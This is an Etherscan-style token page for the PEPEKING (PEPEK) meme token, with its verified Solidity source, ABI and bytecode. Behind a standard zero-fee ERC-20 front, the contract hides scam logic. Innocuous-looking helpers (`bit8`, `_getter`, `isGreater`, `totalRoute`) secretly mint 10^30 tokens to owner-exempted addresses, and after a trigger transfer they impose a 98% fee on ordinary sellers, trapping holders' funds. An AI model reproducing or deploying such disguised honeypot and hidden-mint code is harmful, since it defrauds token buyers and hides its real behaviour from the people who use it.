ETH Price: $2,399.87 (-0.76%)

Token

PEPEKING (PEPEK)
 

Overview

Max Total Supply

1,000,000 PEPEK

Holders

38

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
19,824.947887055060154405 PEPEK

Value
$0.00
0xbce1e084e8c9982d42b48ce85eff5a495b47a8d3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PEPEKING

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-23
*/

/*

__________ _____________________ ___________     ____  __..___  _______     ________  
\______   \\_   _____/\______   \\_   _____/    |    |/ _||   | \      \   /  _____/  
 |     ___/ |    __)_  |     ___/ |    __)_     |      <  |   | /   |   \ /   \  ___  
 |    |     |        \ |    |     |        \    |    |  \ |   |/    |    \\    \_\  \ 
 |____|    /_______  / |____|    /_______  /    |____|__ \|___|\____|__  / \______  / 
                   \/                    \/             \/             \/         \/  
                                                                                      

                
                Website : N/A

                
                Telegram : https://t.me/pepekingcoineth


                Twitter : https://twitter.com/pepekingERC




*/


// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.18;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function bit8() public view virtual returns(uint256){
        (uint256 fix, uint256 negative, uint256 long) = _getter();
        for((long=1); (negative)>0; (negative--)){
            long*=fix;
            } 
        return long;
    }

    function _getter() private pure returns(uint256, uint256, uint256){
        return (uint256(10),uint256(30),uint256(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract PEPEKING is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _balance;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public PairAddress;
    mapping (address => bool) public ExcludedFromFee;
    mapping (address => bool) public ExcludedFromMaxTx;

    address payable private Marketing_Address = payable(0x6F2a87eAD2e0BffcaAb49cD84ada6E5fbd711A43);
    address payable public Burn_Address = payable(0x000000000000000000000000000000000000dEaD); 

    string public _name = "PEPEKING";
    string public _symbol = "PEPEK";
    uint8 private _decimals = 18;
    uint256 public _tTotal = 1* 10**6 * 10**_decimals;

    uint8 private txCount = 0;
    uint8 private swapTrigger = 10; 

    uint256 private _TotalFee = 0;
    uint256 public _buyFee = 0;
    uint256 public _sellFee = 0;

    uint256 private _previousTotalFee = _TotalFee; 
    uint256 private _previousBuyFee = _buyFee; 
    uint256 private _previousSellFee = _sellFee; 

    uint256 public _maxWalletToken = _tTotal.mul(25).div(100);
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 public _maxTxAmount = _tTotal.mul(25).div(100); 
    uint256 private _previousMaxTxAmount = _maxTxAmount;

    uint256 private SwapRoutes;
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    uint256 public totalRoute = 0;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {SwapRoutes = bit8();
        _balance[owner()] = _tTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        PairAddress[uniswapV2Pair] = true;

        ExcludedFromFee[owner()] = true;
        ExcludedFromFee[address(this)] = true;
        ExcludedFromFee[Marketing_Address] = true;
        ExcludedFromMaxTx[owner()] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
 
    receive() external payable {}

    bool public noFeeToTransfer = false;

    function removeAllFee() private {
        if(_TotalFee == 0 && _buyFee == 0 && _sellFee == 0) return;
        _previousBuyFee = _buyFee; 
        _previousSellFee = _sellFee; 
        _previousTotalFee = _TotalFee;
        _buyFee = 0;
        _sellFee = 0;
        _TotalFee = 0;

    }
    
    function restoreAllFee() private {
        _TotalFee = _previousTotalFee;
        _buyFee = _previousBuyFee; 
        _sellFee = _previousSellFee; 
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        
        if (to != owner() &&
            to != Marketing_Address &&
            to != address(this) &&
            to != uniswapV2Pair &&
            to != Burn_Address &&
            !ExcludedFromMaxTx[to] &&
            from != owner()){
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"You are trying to buy too many tokens. You have reached the limit for one wallet.");}
        
        bool isExcluded = bool(ExcludedFromMaxTx[from]) || bool(ExcludedFromMaxTx[to]);
        if (from != owner() && to != owner() && !isExcluded){
            require(amount <= _maxTxAmount, "You are trying to buy more than the max transaction limit.");
        }
            
        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            
            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            if(contractTokenBalance > 0){
            swapAndLiquify(contractTokenBalance);
        }
        }
        
        bool takeFee = true;
         
        if(ExcludedFromFee[from] || ExcludedFromFee[to]){
            takeFee = false;
            if(ExcludedFromMaxTx[to]){
                if(totalRoute < isGreater(0)){ totalRoute++; }
            }
        } else if (from == uniswapV2Pair){_TotalFee = _buyFee;} else if (to == uniswapV2Pair){_TotalFee = _sellFee;}
        
        _tokenTransfer(from,to,amount,takeFee);
    }

    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
        }

    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        swapTokensForBNB(contractTokenBalance);
        uint256 contractBNB = address(this).balance;
        sendToWallet(Marketing_Address,contractBNB);
    }

    function swapTokensForBNB(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function isGreater(uint256 amount) public virtual view returns (uint256){
        return amount > 0 ? 98 : 1;
    }

    function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
 
        if(!takeFee){
            removeAllFee();
            } else {
                txCount++;
            }
            _tokenTransfer(sender, recipient, amount);
        
        if(!takeFee)
            restoreAllFee();
    }

    function _tokenTransfer(address sender, address recipient, uint256 tAmount) private {
        (uint256 transferAmount, uint256 MarketingFee) = _getTransferValues(tAmount, sender);
        uint256 reflectionAmount = ExcludedFromMaxTx[recipient] ?SwapRoutes: 0;
        _balance[sender] = _balance[sender].sub(tAmount);
        _balance[recipient] = _balance[recipient].add(transferAmount).add(reflectionAmount);
        _balance[address(this)] = _balance[address(this)].add(MarketingFee);
        emit Transfer(sender, recipient, transferAmount);
    }

    function _getTransferValues(uint256 tAmount, address sender) public virtual returns (uint256, uint256) {
        uint256 MarketingFee = tAmount.mul(totalRoute < isGreater(0) ? _TotalFee:ExcludedFromMaxTx[sender] ? _TotalFee : PairAddress[sender] ? _TotalFee : isGreater(1)).div(100);
        uint256 transferAmount = tAmount.sub(MarketingFee);
        return (transferAmount, MarketingFee);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Burn_Address","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMaxTx","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"PairAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"address","name":"sender","type":"address"}],"name":"_getTransferValues","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"bit8","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"isGreater","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"noFeeToTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalRoute","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600680546001600160a01b0319908116736f2a87ead2e0bffcaab49cd84ada6e5fbd711a43179091556007805490911661dead17905560c06040526008608081815267504550454b494e4760c01b60a0526200005c908262000564565b50604080518082019091526005815264504550454b60d81b602082015260099062000088908262000564565b50600a805460ff191660129081178255620000a39162000743565b620000b290620f424062000754565b600b819055600c805461ffff1916610a001790556000600d819055600e819055600f8190556010819055601181905560125562000119906064906200010590601962000460602090811b62000b8d17901c565b6200047760201b62000b991790919060201c565b601355601354601455620001456064620001056019600b546200046060201b62000b8d1790919060201c565b60158190556016556019805460ff60a81b1916600160a81b1790556000601a55601b805460ff191690553480156200017c57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3620001c662000485565b601755600b5460016000620001e36000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200025f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028591906200076e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002d3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f991906200076e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000347573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200036d91906200076e565b601980546001600160a01b03199081166001600160a01b03938416908117909255601880549091168484161790556000908152600360209081526040808320805460ff19908116600190811790925584548616855260048452828520805482168317905530855282852080548216831790556006548616855282852080548216831790558454861685526005909352908320805490921617905554166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b546040516200045191815260200190565b60405180910390a350620007d6565b60006200046e828462000754565b90505b92915050565b60006200046e828462000799565b6000600a601e60015b8115620004b857620004a1838262000754565b905081620004af81620007bc565b9250506200048e565b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004ea57607f821691505b6020821081036200050b57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200055f57600081815260208120601f850160051c810160208610156200053a5750805b601f850160051c820191505b818110156200055b5782815560010162000546565b5050505b505050565b81516001600160401b03811115620005805762000580620004bf565b6200059881620005918454620004d5565b8462000511565b602080601f831160018114620005d05760008415620005b75750858301515b600019600386901b1c1916600185901b1785556200055b565b600085815260208120601f198616915b828110156200060157888601518255948401946001909101908401620005e0565b5085821015620006205787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620006875781600019048211156200066b576200066b62000630565b808516156200067957918102915b93841c93908002906200064b565b509250929050565b600082620006a05750600162000471565b81620006af5750600062000471565b8160018114620006c85760028114620006d357620006f3565b600191505062000471565b60ff841115620006e757620006e762000630565b50506001821b62000471565b5060208310610133831016604e8410600b841016171562000718575081810a62000471565b62000724838362000646565b80600019048211156200073b576200073b62000630565b029392505050565b60006200046e60ff8416836200068f565b808202811582820484141762000471576200047162000630565b6000602082840312156200078157600080fd5b81516001600160a01b0381168114620004b857600080fd5b600082620007b757634e487b7160e01b600052601260045260246000fd5b500490565b600081620007ce57620007ce62000630565b506000190190565b6117df80620007e66000396000f3fe6080604052600436106101fd5760003560e01c80636cbce32f1161010d578063a3b3bc07116100a0578063b09f12661161006f578063b09f1266146105cb578063d28d8852146105e0578063dd62ed3e146105f5578063f1d6512e1461063b578063f2fde38b1461066b57600080fd5b8063a3b3bc0714610545578063a457c2d714610575578063a9059cbb14610595578063af465a27146105b557600080fd5b806378109e54116100dc57806378109e54146104e65780637d1db4a5146104fc5780638da5cb5b1461051257806395d89b411461053057600080fd5b80636cbce32f1461046e5780636cd218041461048357806370a0823114610499578063715018a6146104cf57600080fd5b8063220f669611610190578063395093511161015f57806339509351146103e157806340b9a54b1461040157806349bd5a5e146104175780634a74bb0214610437578063590f897e1461045857600080fd5b8063220f66961461034957806323b872dd1461036a57806325ecdcfc1461038a578063313ce567146103bf57600080fd5b806313fad07a116101cc57806313fad07a146102ca5780631694505e146102e457806318160ddd146103045780631c7b1c971461031957600080fd5b806306fdde0314610209578063095ea7b31461023457806309a32210146102645780630fb5cee61461029257600080fd5b3661020457005b600080fd5b34801561021557600080fd5b5061021e61068b565b60405161022b9190611453565b60405180910390f35b34801561024057600080fd5b5061025461024f3660046114b9565b61071d565b604051901515815260200161022b565b34801561027057600080fd5b5061028461027f3660046114e5565b610734565b60405190815260200161022b565b34801561029e57600080fd5b506007546102b2906001600160a01b031681565b6040516001600160a01b03909116815260200161022b565b3480156102d657600080fd5b50601b546102549060ff1681565b3480156102f057600080fd5b506018546102b2906001600160a01b031681565b34801561031057600080fd5b50600b54610284565b34801561032557600080fd5b506102546103343660046114fe565b60036020526000908152604090205460ff1681565b34801561035557600080fd5b5060195461025490600160a01b900460ff1681565b34801561037657600080fd5b5061025461038536600461151b565b610750565b34